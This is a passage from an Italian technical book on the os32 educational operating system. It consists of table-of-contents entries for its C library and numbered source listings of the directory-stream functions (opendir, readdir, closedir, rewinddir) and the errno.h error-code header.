120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586

120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662

120.13.13 lib/stdlib/llabs.c . . . 7662
120.13.14 lib/stdlib/lldiv.c . . . 7662
120.13.15 lib/stdlib/putenv.c . . . 7663
120.13.16 lib/stdlib/qsort.c . . . 7664
120.13.17 lib/stdlib/rand.c . . . 7667
120.13.18 lib/stdlib/setenv.c . . . 7668
120.13.19 lib/stdlib/strtol.c . . . 7670
120.13.20 lib/stdlib/strtoul.c . . . 7674
120.13.21 lib/stdlib/unsetenv.c . . . 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c . . . 7676
120.13.23 lib/stdlib_alloc/free.c . . . 7678
120.13.24 lib/stdlib_alloc/malloc.c . . . 7679
120.13.25 lib/stdlib_alloc/realloc.c . . . 7684

120.14 os32: «lib/string.h» . . . 7686

120.14.1 lib/string/memccpy.c . . . 7693
120.14.2 lib/string/memchr.c . . . 7693
120.14.3 lib/string/memcmp.c . . . 7694
120.14.4 lib/string/memcpy.c . . . 7694
120.14.5 lib/string/memmove.c . . . 7695
120.14.6 lib/string/memset.c . . . 7695
120.14.7 lib/string/strcat.c . . . 7696
120.14.8 lib/string/strchr.c . . . 7696
120.14.9 lib/string/strcmp.c . . . 7697
120.14.10 lib/string/strcoll.c . . . 7697
120.14.11 lib/string/strcpy.c . . . 7698
120.14.12 lib/string/strcspn.c . . . 7698
120.14.13 lib/string/strdup.c . . . 7699
120.14.14 lib/string/strerror.c . . . 7699
120.14.15 lib/string/strlen.c . . . 7702
120.14.16 lib/string/strncat.c . . . 7702
120.14.17 lib/string/strncmp.c . . . 7703
120.14.18 lib/string/strncpy.c . . . 7703
120.14.19 lib/string/strpbrk.c . . . 7704
120.14.20 lib/string/strrchr.c . . . 7704
120.14.21 lib/string/strspn.c . . . 7705
120.14.22 lib/string/strstr.c . . . 7705
120.14.23 lib/string/strtok.c . . . 7706
120.14.24 lib/string/strxfrm.c . . . 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796

120.21.2 lib/unistd/access.c ... 7796
120.21.3 lib/unistd/brk.c ... 7797
120.21.4 lib/unistd/chdir.c ... 7798
120.21.5 lib/unistd/chown.c ... 7799
120.21.6 lib/unistd/close.c ... 7799
120.21.7 lib/unistd/dup.c ... 7800
120.21.8 lib/unistd/dup2.c ... 7800
120.21.9 lib/unistd/environ.c ... 7801
120.21.10 lib/unistd/execl.c ... 7801
120.21.11 lib/unistd/execle.c ... 7802
120.21.12 lib/unistd/execlp.c ... 7802
120.21.13 lib/unistd/execv.c ... 7803
120.21.14 lib/unistd/execve.c ... 7804
120.21.15 lib/unistd/execvp.c ... 7805
120.21.16 lib/unistd/fchdir.c ... 7806
120.21.17 lib/unistd/fchown.c ... 7806
120.21.18 lib/unistd/fork.c ... 7807
120.21.19 lib/unistd/getcwd.c ... 7808
120.21.20 lib/unistd/getegid.c ... 7809
120.21.21 lib/unistd/geteuid.c ... 7809
120.21.22 lib/unistd/getgid.c ... 7810
120.21.23 lib/unistd/getopt.c ... 7810
120.21.24 lib/unistd/getpgrp.c ... 7815
120.21.25 lib/unistd/getpid.c ... 7815
120.21.26 lib/unistd/getppid.c ... 7815
120.21.27 lib/unistd/getuid.c ... 7816
120.21.28 lib/unistd/isatty.c ... 7816
120.21.29 lib/unistd/link.c ... 7817
120.21.30 lib/unistd/lseek.c ... 7818
120.21.31 lib/unistd/pipe.c ... 7818
120.21.32 lib/unistd/read.c ... 7819
120.21.33 lib/unistd/rmdir.c ... 7820
120.21.34 lib/unistd/sbrk.c ... 7821
120.21.35 lib/unistd/setegid.c ... 7822
120.21.36 lib/unistd/seteuid.c ... 7822
120.21.37 lib/unistd/setgid.c ... 7823
120.21.38 lib/unistd/setpgrp.c ... 7823
120.21.39 lib/unistd/setuid.c ... 7823
120.21.40 lib/unistd/sleep.c ... 7824

120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827
120.22 os32: «lib/utime.h» 7828
120.22.1 lib/utime/utime.c 7834

120.3.1 lib/dirent/DIR.c

Si veda la sezione 116.2.

```
2540001 #include <dirent.h>
2540002 //
2540003 // There must be room for at least 'DOPEN_MAX' elements.
2540004 //
2540005 DIR _directory_stream[DOPEN_MAX];
2540006
2540007 void
2540008 _dirent_directory_stream_setup (void)
2540009 {
2540010     int d;
2540011     //
2540012     for (d = 0; d < DOPEN_MAX; d++)
2540013       {
2540014         _directory_stream[d].fdn   = -1;
2540015       }
2540016 }
```

120.3.2 lib/dirent/closedir.c

Si veda la sezione 113.12.

```
2550001 #include <dirent.h>
2550002 #include <fcntl.h>
2550003 #include <sys/types.h>
2550004 #include <sys/stat.h>
2550005 #include <unistd.h>
2550006 #include <errno.h>
2550007 #include <stddef.h>
2550008 //----------------------------------------------------------------------
2550009 int
2550010 closedir (DIR *dp)
2550011 {
2550012     //
2550013     // Check for a valid argument
2550014     //
2550015     if (dp == NULL)
2550016       {
2550017         //
```

```
2550018             // Not a valid pointer.
2550019             //
2550020             errset (EBADF);          // Invalid directory.
2550021             return (-1);
2550022           }
2550023         //
2550024         // Check if it is an open directory stream.
2550025         //
2550026         if (dp->fdn < 0)
2550027           {
2550028             //
2550029             // The stream is closed.
2550030             //
2550031             errset (EBADF);          // Invalid directory.
2550032             return (-1);
2550033           }
2550034         //
2550035         // Close the file descriptor. It there is an error,
2550036         // the 'errno' variable will be set by 'close()'.
2550037         //
2550038         return (close (dp->fdn));
2550039     }
```

120.3.3 lib/dirent/opendir.c

Si veda la sezione 113.82.

```
2560001     #include <dirent.h>
2560002     #include <fcntl.h>
2560003     #include <stdio.h>
2560004     #include <sys/types.h>
2560005     #include <sys/stat.h>
2560006     #include <unistd.h>
2560007     #include <errno.h>
2560008     #include <stddef.h>
2560009     //----------------------------------------------------------------------
2560010     DIR *
2560011     opendir (const char *path)
2560012     {
2560013         int    fdn;
2560014         int    d;
2560015         DIR   *dp;
2560016         struct stat file_status;
2560017         //
2560018         // Function 'opendir()' is used only for reading.
2560019         //
2560020         fdn = open (path, O_RDONLY);
2560021         //
2560022         // Check the file descriptor returned.
2560023         //
2560024         if (fdn < 0)
```

```
2560025          {
2560026            //
2560027            // The variable ‘errno’ is already set:
2560028            //   EINVAL
2560029            //   EMFILE
2560030            //   ENFILE
2560031            //
2560032            errset (errno);
2560033            return (NULL);
2560034          }
2560035        //
2560036        // Set the ‘FD_CLOEXEC’ flag for that file descriptor.
2560037        //
2560038        if (fcntl (fdn, F_SETFD, FD_CLOEXEC) != 0)
2560039          {
2560040            //
2560041            // The variable ‘errno’ is already set:
2560042            //   EBADF
2560043            //
2560044            errset (errno);
2560045            close (fdn);
2560046            return (NULL);
2560047          }
2560048        //
2560049        //
2560050        //
2560051        if (fstat (fdn, &file_status) != 0)
2560052          {
2560053            //
2560054            // Error should be already set.
2560055            //
2560056            errset (errno);
2560057            close (fdn);
2560058            return (NULL);
2560059          }
2560060        //
2560061        // Verify it is a directory
2560062        //
2560063        if (!S_ISDIR(file_status.st_mode))
2560064          {
2560065            //
2560066            // It is not a directory!
2560067            //
2560068            close (fdn);
2560069            errset (ENOTDIR);                // Is not a directory.
2560070            return (NULL);
2560071          }
2560072        //
2560073        // A valid file descriptor is available: must find a free
2560074        // ‘_directory_stream[]’ slot.
2560075        //
2560076        for (d = 0; d < DOPEN_MAX; d++)
```

```
2560077         {
2560078           if (_directory_stream[d].fdn < 0)
2560079             {
2560080               //
2560081               // Found a free slot: set it up.
2560082               //
2560083               dp = &(_directory_stream[d]);
2560084               dp->fdn    = fdn;
2560085               //
2560086               // Return the directory pointer.
2560087               //
2560088               return (dp);
2560089             }
2560090         }
2560091       //
2560092       // If we are here, there was no free directory slot available.
2560093       //
2560094       close  (fdn);
2560095       errset (EMFILE);                    // Too many file open.
2560096       return (NULL);
2560097   }
```

120.3.4 lib/dirent/readdir.c

Si veda la sezione 113.91.

```
2570001   #include <dirent.h>
2570002   #include <fcntl.h>
2570003   #include <sys/types.h>
2570004   #include <sys/stat.h>
2570005   #include <unistd.h>
2570006   #include <errno.h>
2570007   #include <stddef.h>
2570008   //------------------------------------------------------------------------
2570009   struct dirent *
2570010   readdir (DIR *dp)
2570011   {
2570012       ssize_t size;
2570013       //
2570014       // Check for a valid argument.
2570015       //
2570016       if (dp == NULL)
2570017         {
2570018           //
2570019           // Not a valid pointer.
2570020           //
2570021           errset (EBADF);          // Invalid directory.
2570022           return (NULL);
2570023         }
2570024       //
2570025       // Check if it is an open directory stream.
```

```
2570026         //
2570027         if (dp->fdn < 0)
2570028           {
2570029             //
2570030             // The stream is closed.
2570031             //
2570032             errset (EBADF);          // Invalid directory.
2570033             return (NULL);
2570034           }
2570035         //
2570036         // Read the directory.
2570037         //
2570038         size = read (dp->fdn, &(dp->dir),
2570039                      (size_t) 16);
2570040         //
2570041         // Fix the null termination, if the name is very long.
2570042         //
2570043         dp->dir.d_name[NAME_MAX] = '\0';
2570044         //
2570045         // Check what was read.
2570046         //
2570047         if (size == 0)
2570048           {
2570049             //
2570050             // End of directory, but it is not an error.
2570051             //
2570052             return (NULL);
2570053           }
2570054         //
2570055         if (size < 0)
2570056           {
2570057             //
2570058             // This is an error. The variable 'errno' is already set.
2570059             //
2570060             errset (errno);
2570061             return (NULL);
2570062           }
2570063         //
2570064         if (dp->dir.d_ino == 0)
2570065           {
2570066             //
2570067             // This is a null directory record.
2570068             // Should try to read the next one.
2570069             //
2570070             return (readdir (dp));
2570071           }
2570072         //
2570073         if (strlen (dp->dir.d_name) == 0)
2570074           {
2570075             //
2570076             // This is a bad directory record: try to read next.
2570077             //
```

```
2570078             return (readdir (dp));
2570079           }
2570080         //
2570081         // A valid directory record should be available now.
2570082         //
2570083         return (&(dp->dir));
2570084     }
```

120.3.5 lib/dirent/rewinddir.c

Si veda la sezione 113.94.

```
2580001     #include <dirent.h>
2580002     #include <fcntl.h>
2580003     #include <sys/types.h>
2580004     #include <sys/stat.h>
2580005     #include <unistd.h>
2580006     #include <errno.h>
2580007     #include <stddef.h>
2580008     #include <stdio.h>
2580009     //----------------------------------------------------------------------
2580010     void
2580011     rewinddir (DIR *dp)
2580012     {
2580013         FILE *fp;
2580014         //
2580015         // Check for a valid argument.
2580016         //
2580017         if (dp == NULL)
2580018           {
2580019             //
2580020             // Nothing to rewind, and no error to set.
2580021             //
2580022             return;
2580023           }
2580024         //
2580025         // Check if it is an open directory stream.
2580026         //
2580027         if (dp->fdn < 0)
2580028           {
2580029             //
2580030             // The stream is closed.
2580031             // Nothing to rewind, and no error to set.
2580032             //
2580033             return;
2580034           }
2580035         //
2580036         //
2580037         //
2580038         fp = &_stream[dp->fdn];
2580039         //
```

```
2580040     rewind (fp);
2580041 }
```

120.4 os32: «lib/errno.h»

Si veda la sezione 113.19.

```
2590001 #ifndef _ERRNO_H
2590002 #define _ERRNO_H       1
2590003 //----------------------------------------------------------------------
2590004 #include <limits.h>
2590005 #include <string.h>
2590006 #include <sys/os32.h>
2590007 #include <kernel/lib_k.h>
2590008 
2590009 //----------------------------------------------------------------------
2590010 // The variable 'errno' is standard, but 'errln' and 'errfn' are added
2590011 // to keep track of the error source. Variable 'errln' is used to save
2590012 // the source file line number; variable 'errfn' is used to save the
2590013 // source file name. To set these variable in a consistent way it is
2590014 // also added a macro-instruction: 'errset'.
2590015 //----------------------------------------------------------------------
2590016 extern int   errno;
2590017 extern int   errln;
2590018 extern char  errfn[PATH_MAX];
2590019 //
2590020 #define errset(e)       (errln = __LINE__, \
2590021                          strncpy (errfn, __FILE__, PATH_MAX), \
2590022                          errno = e)
2590023 //
2590024 //#define errset(e)       (errln = __LINE__,
2590025 //                         strncpy (errfn, __FILE__, PATH_MAX),
2590026 //                         errno = e,
2590027 //                         k_perror (NULL))
2590028 //
2590029 //----------------------------------------------------------------------
2590030 // Standard POSIX 'errno' macro variables.
2590031 //----------------------------------------------------------------------
2590032 #define E2BIG            1 // Argument list too long.
2590033 #define EACCES           2 // Permission denied.
2590034 #define EADDRINUSE       3 // Address in use.
2590035 #define EADDRNOTAVAIL    4 // Address not available.
2590036 #define EAFNOSUPPORT     5 // Address family not supported.
2590037 #define EAGAIN           6 // Resource unavailable, try again.
2590038 #define EALREADY         7 // Connection already in progress.
2590039 #define EBADF            8 // Bad file descriptor.
2590040 #define EBADMSG          9 // Bad message.
2590041 #define EBUSY           10 // Device or resource busy.
2590042 #define ECANCELED       11 // Operation canceled.
2590043 #define ECHILD          12 // No child processes.
2590044 #define ECONNABORTED    13 // Connection aborted.
```

```
2590045 #define ECONNREFUSED    14 // Connection refused.
2590046 #define ECONNRESET      15 // Connection reset.
2590047 #define EDEADLK         16 // Resource deadlock would occur.
2590048 #define EDESTADDRREQ    17 // Destination address required.
2590049 #define EDOM            18 // Mathematics argument out of domain of
2590050                            // function.
2590051 #define EDQUOT          19 // Reserved.
2590052 #define EEXIST          20 // File exists.
2590053 #define EFAULT          21 // Bad address.
2590054 #define EFBIG           22 // File too large.
2590055 #define EHOSTUNREACH    23 // Host is unreachable.
2590056 #define EIDRM           24 // Identifier removed.
2590057 #define EILSEQ          25 // Illegal byte sequence.
2590058 #define EINPROGRESS     26 // Operation in progress.
2590059 #define EINTR           27 // Interrupted function.
2590060 #define EINVAL          28 // Invalid argument.
2590061 #define EIO             29 // I/O error.
2590062 #define EISCONN         30 // Socket is connected.
2590063 #define EISDIR          31 // Is a directory.
2590064 #define ELOOP           32 // Too many levels of symbolic links.
2590065 #define EMFILE          33 // Too many open files.
2590066 #define EMLINK          34 // Too many links.
2590067 #define EMSGSIZE        35 // Message too large.
2590068 #define EMULTIHOP       36 // Reserved.
2590069 #define ENAMETOOLONG    37 // Filename too long.
2590070 #define ENETDOWN        38 // Network is down.
2590071 #define ENETRESET       39 // Connection aborted by network.
2590072 #define ENETUNREACH     40 // Network unreachable.
2590073 #define ENFILE          41 // Too many files open in system.
2590074 #define ENOBUFS         42 // No buffer space available.
2590075 #define ENODATA         43 // No message is available on the stream head
2590076                            // read queue.
2590077 #define ENODEV          44 // No such device.
2590078 #define ENOENT          45 // No such file or directory.
2590079 #define ENOEXEC         46 // Executable file format error.
2590080 #define ENOLCK          47 // No locks available.
2590081 #define ENOLINK         48 // Reserved.
2590082 #define ENOMEM          49 // Not enough space.
2590083 #define ENOMSG          50 // No message of the desired type.
2590084 #define ENOPROTOOPT     51 // Protocol not available.
2590085 #define ENOSPC          52 // No space left on device.
2590086 #define ENOSR           53 // No stream resources.
2590087 #define ENOSTR          54 // Not a stream.
2590088 #define ENOSYS          55 // Function not supported.
2590089 #define ENOTCONN        56 // The socket is not connected.
2590090 #define ENOTDIR         57 // Not a directory.
2590091 #define ENOTEMPTY       58 // Directory not empty.
2590092 #define ENOTSOCK        59 // Not a socket.
2590093 #define ENOTSUP         60 // Not supported.
2590094 #define ENOTTY          61 // Inappropriate I/O control operation.
2590095 #define ENXIO           62 // No such device or address.
2590096 #define EOPNOTSUPP      63 // Operation not supported on socket.
```

```
2590097 #define EOVERFLOW       64 // Value too large to be stored in data type.
2590098 #define EPERM           65 // Operation not permitted.
2590099 #define EPIPE           66 // Broken pipe.
2590100 #define EPROTO          67 // Protocol error.
2590101 #define EPROTONOSUPPORT 68 // Protocol not supported.
2590102 #define EPROTOTYPE      69 // Protocol wrong type for socket.
2590103 #define ERANGE          70 // Result too large.
2590104 #define EROFS           71 // Read-only file system.
2590105 #define ESPIPE          72 // Invalid seek.
2590106 #define ESRCH           73 // No such process.
2590107 #define ESTALE          74 // Reserved.
2590108 #define ETIME           75 // Stream ioctl() timeout.
2590109 #define ETIMEDOUT       76 // Connection timed out.
2590110 #define ETXTBSY         77 // Text file busy.
2590111 #define EWOULDBLOCK     78 // Operation would block
2590112                            // (may be the same as EAGAIN).
2590113 #define EXDEV           79 // Cross-device link.
2590114 //----------------------------------------------------------------------
2590115 // Added os32 errors.
2590116 //----------------------------------------------------------------------
2590117 #define EUNKNOWN                    (-1) // Unknown error.
2590118 #define E_NO_MEDIUM                  80  // No medium found.
2590119 #define E_MEDIUM                     81  // Medium reported error.
2590120 #define E_FILE_TYPE                  82  // File type not compatible.
2590121 #define E_ROOT_INODE_NOT_CACHED      83  // The root directory inode is
2590122                                          // not cached.
2590123 #define E_CANNOT_READ_SUPERBLOCK     84  // Cannot read super block.
2590124 #define E_MAP_INODE_TOO_BIG          85  // Map inode too big.
2590125 #define E_MAP_ZONE_TOO_BIG           86  // Map zone too big.
2590126 #define E_DATA_ZONE_TOO_BIG          87  // Data zone too big.
2590127 #define E_CANNOT_FIND_ROOT_DEVICE    88  // Cannot find root device.
2590128 #define E_CANNOT_FIND_ROOT_INODE     89  // Cannot find root inode.
2590129 #define E_FILE_TYPE_UNSUPPORTED      90  // File type unsupported.
2590130 #define E_ENV_TOO_BIG                91  // Environment too big.
2590131 #define E_LIMIT                      92  // Exceeded implementation
2590132                                          // limits.
2590133 #define E_NOT_MOUNTED                93  // Not mounted.
2590134 #define E_NOT_IMPLEMENTED            94  // Not implemented.
2590135 #define E_HARDWARE_FAULT             95  // Hardware fault.
2590136 #define E_DRIVER_FAULT               96  // Driver fault.
2590137 #define E_PIPE_FULL                  97  // Pipe full.
2590138 #define E_PIPE_EMPTY                 98  // Pipe empty.
2590139 #define E_PART_TYPE_NOT_MINIX        99  // Not a Minix partition type.
2590140 #define E_FS_TYPE_NOT_SUPPORTED     100  // File system type not
2590141                                          // supported.
2590142 //----------------------------------------------------------------------
2590143 // Default descriptions for errors.
2590144 //----------------------------------------------------------------------
2590145 #define TEXT_E2BIG                       "Argument list too long."
2590146 #define TEXT_EACCES                      "Permission denied."
2590147 #define TEXT_EADDRINUSE                  "Address in use."
2590148 #define TEXT_EADDRNOTAVAIL               "Address not available."
```

```
2590149 #define TEXT_EAFNOSUPPORT               "Address family not supported."
2590150 #define TEXT_EAGAIN                     "Resource unavailable, " \
2590151                                         "try again."
2590152 #define TEXT_EALREADY                   "Connection already in " \
2590153                                         "progress."
2590154 #define TEXT_EBADF                      "Bad file descriptor."
2590155 #define TEXT_EBADMSG                    "Bad message."
2590156 #define TEXT_EBUSY                      "Device or resource busy."
2590157 #define TEXT_ECANCELED                  "Operation canceled."
2590158 #define TEXT_ECHILD                     "No child processes."
2590159 #define TEXT_ECONNABORTED               "Connection aborted."
2590160 #define TEXT_ECONNREFUSED               "Connection refused."
2590161 #define TEXT_ECONNRESET                 "Connection reset."
2590162 #define TEXT_EDEADLK                    "Resource deadlock would occur."
2590163 #define TEXT_EDESTADDRREQ               "Destination address required."
2590164 #define TEXT_EDOM                       "Mathematics argument out of " \
2590165                                         "domain of function."
2590166 #define TEXT_EDQUOT                     "Reserved error: EDQUOT"
2590167 #define TEXT_EEXIST                     "File exists."
2590168 #define TEXT_EFAULT                     "Bad address."
2590169 #define TEXT_EFBIG                      "File too large."
2590170 #define TEXT_EHOSTUNREACH               "Host is unreachable."
2590171 #define TEXT_EIDRM                      "Identifier removed."
2590172 #define TEXT_EILSEQ                     "Illegal byte sequence."
2590173 #define TEXT_EINPROGRESS                "Operation in progress."
2590174 #define TEXT_EINTR                      "Interrupted function."
2590175 #define TEXT_EINVAL                     "Invalid argument."
2590176 #define TEXT_EIO                        "I/O error."
2590177 #define TEXT_EISCONN                    "Socket is connected."
2590178 #define TEXT_EISDIR                     "Is a directory."
2590179 #define TEXT_ELOOP                      "Too many levels of " \
2590180                                         "symbolic links."
2590181 #define TEXT_EMFILE                     "Too many open files."
2590182 #define TEXT_EMLINK                     "Too many links."
2590183 #define TEXT_EMSGSIZE                   "Message too large."
2590184 #define TEXT_EMULTIHOP                  "Reserved error: EMULTIHOP"
2590185 #define TEXT_ENAMETOOLONG               "Filename too long."
2590186 #define TEXT_ENETDOWN                   "Network is down."
2590187 #define TEXT_ENETRESET                  "Connection aborted by network."
2590188 #define TEXT_ENETUNREACH                "Network unreachable."
2590189 #define TEXT_ENFILE                     "Too many files open in system."
2590190 #define TEXT_ENOBUFS                    "No buffer space available."
2590191 #define TEXT_ENODATA                    "No message is available on " \
2590192                                         "the stream head read queue."
2590193 #define TEXT_ENODEV                     "No such device."
2590194 #define TEXT_ENOENT                     "No such file or directory."
2590195 #define TEXT_ENOEXEC                    "Executable file format error."
2590196 #define TEXT_ENOLCK                     "No locks available."
2590197 #define TEXT_ENOLINK                    "Reserved error: ENOLINK"
2590198 #define TEXT_ENOMEM                     "Not enough space."
2590199 #define TEXT_ENOMSG                     "No message of the desired " \
2590200                                         "type."
```

```
2590201 #define TEXT_ENOPROTOOPT                "Protocol not available."
2590202 #define TEXT_ENOSPC                     "No space left on device."
2590203 #define TEXT_ENOSR                      "No stream resources."
2590204 #define TEXT_ENOSTR                     "Not a stream."
2590205 #define TEXT_ENOSYS                     "Function not supported."
2590206 #define TEXT_ENOTCONN                   "The socket is not connected."
2590207 #define TEXT_ENOTDIR                    "Not a directory."
2590208 #define TEXT_ENOTEMPTY                  "Directory not empty."
2590209 #define TEXT_ENOTSOCK                   "Not a socket."
2590210 #define TEXT_ENOTSUP                    "Not supported."
2590211 #define TEXT_ENOTTY                     "Inappropriate I/O control " \
2590212                                         "operation."
2590213 #define TEXT_ENXIO                      "No such device or address."
2590214 #define TEXT_EOPNOTSUPP                 "Operation not supported on " \
2590215                                         "socket."
2590216 #define TEXT_EOVERFLOW                  "Value too large to be " \
2590217                                         "stored in data type."
2590218 #define TEXT_EPERM                      "Operation not permitted."
2590219 #define TEXT_EPIPE                      "Broken pipe."
2590220 #define TEXT_EPROTO                     "Protocol error."
2590221 #define TEXT_EPROTONOSUPPORT            "Protocol not supported."
2590222 #define TEXT_EPROTOTYPE                 "Protocol wrong type for " \
2590223                                         "socket."
2590224 #define TEXT_ERANGE                     "Result too large."
2590225 #define TEXT_EROFS                      "Read-only file system."
2590226 #define TEXT_ESPIPE                     "Invalid seek."
2590227 #define TEXT_ESRCH                      "No such process."
2590228 #define TEXT_ESTALE                     "Reserved error: ESTALE"
2590229 #define TEXT_ETIME                      "Stream ioctl() timeout."
2590230 #define TEXT_ETIMEDOUT                  "Connection timed out."
2590231 #define TEXT_ETXTBSY                    "Text file busy."
2590232 #define TEXT_EWOULDBLOCK                "Operation would block."
2590233 #define TEXT_EXDEV                      "Cross-device link."
2590234 //------------------------------------------------------------------------
2590235 #define TEXT_EUNKNOWN                   "Unknown error."
2590236 #define TEXT_E_NO_MEDIUM                "No medium found."
2590237 #define TEXT_E_MEDIUM                   "Medium reported error"
2590238 #define TEXT_E_FILE_TYPE                "File type not compatible."
2590239 #define TEXT_E_ROOT_INODE_NOT_CACHED    "The root directory inode " \
2590240                                         "is not cached."
2590241 #define TEXT_E_CANNOT_READ_SUPERBLOCK   "Cannot read super block."
2590242 #define TEXT_E_MAP_INODE_TOO_BIG        "Map inode too big."
2590243 #define TEXT_E_MAP_ZONE_TOO_BIG         "Map zone too big."
2590244 #define TEXT_E_DATA_ZONE_TOO_BIG        "Data zone too big."
2590245 #define TEXT_E_CANNOT_FIND_ROOT_DEVICE  "Cannot find root device."
2590246 #define TEXT_E_CANNOT_FIND_ROOT_INODE   "Cannot find root inode."
2590247 #define TEXT_E_FILE_TYPE_UNSUPPORTED    "File type unsupported."
2590248 #define TEXT_E_ENV_TOO_BIG              "Environment too big."
2590249 #define TEXT_E_LIMIT                    "Exceeded implementation " \
2590250                                         "limits."
2590251 #define TEXT_E_NOT_MOUNTED              "Not mounted."
2590252 #define TEXT_E_NOT_IMPLEMENTED          "Not implemented."
```

```
2590253 #define TEXT_E_HARDWARE_FAULT          "Hardware fault."
2590254 #define TEXT_E_DRIVER_FAULT            "Driver fault."
2590255 #define TEXT_E_PIPE_FULL               "Pipe full."
2590256 #define TEXT_E_PIPE_EMPTY              "Pipe empty."
2590257 #define TEXT_E_PART_TYPE_NOT_MINIX     "Not a Minix partition type."
2590258 #define TEXT_E_FS_TYPE_NOT_SUPPORTED   "File system type not " \
2590259                                        "supported."
2590260 //----------------------------------------------------------------------
2590261 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489
120.4.1 lib/errno/errno.c 7500
120.5 os32: «lib/fcntl.h» 7500
120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510
120.6 os32: «lib/grp.h» 7510
120.6.1 lib/grp/grent.c 7517
120.7 os32: «lib/inttypes.h» 7519
120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531
120.8 os32: «lib/libgen.h» 7532
120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539
120.9 os32: «lib/pwd.h» 7541
120.9.1 lib/pwd/pwent.c 7548
120.10 os32: «lib/setjmp.h» 7550
120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558
120.11 os32: «lib/signal.h» 7559
120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568
120.12 os32: «lib/stdio.h» 7568
120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
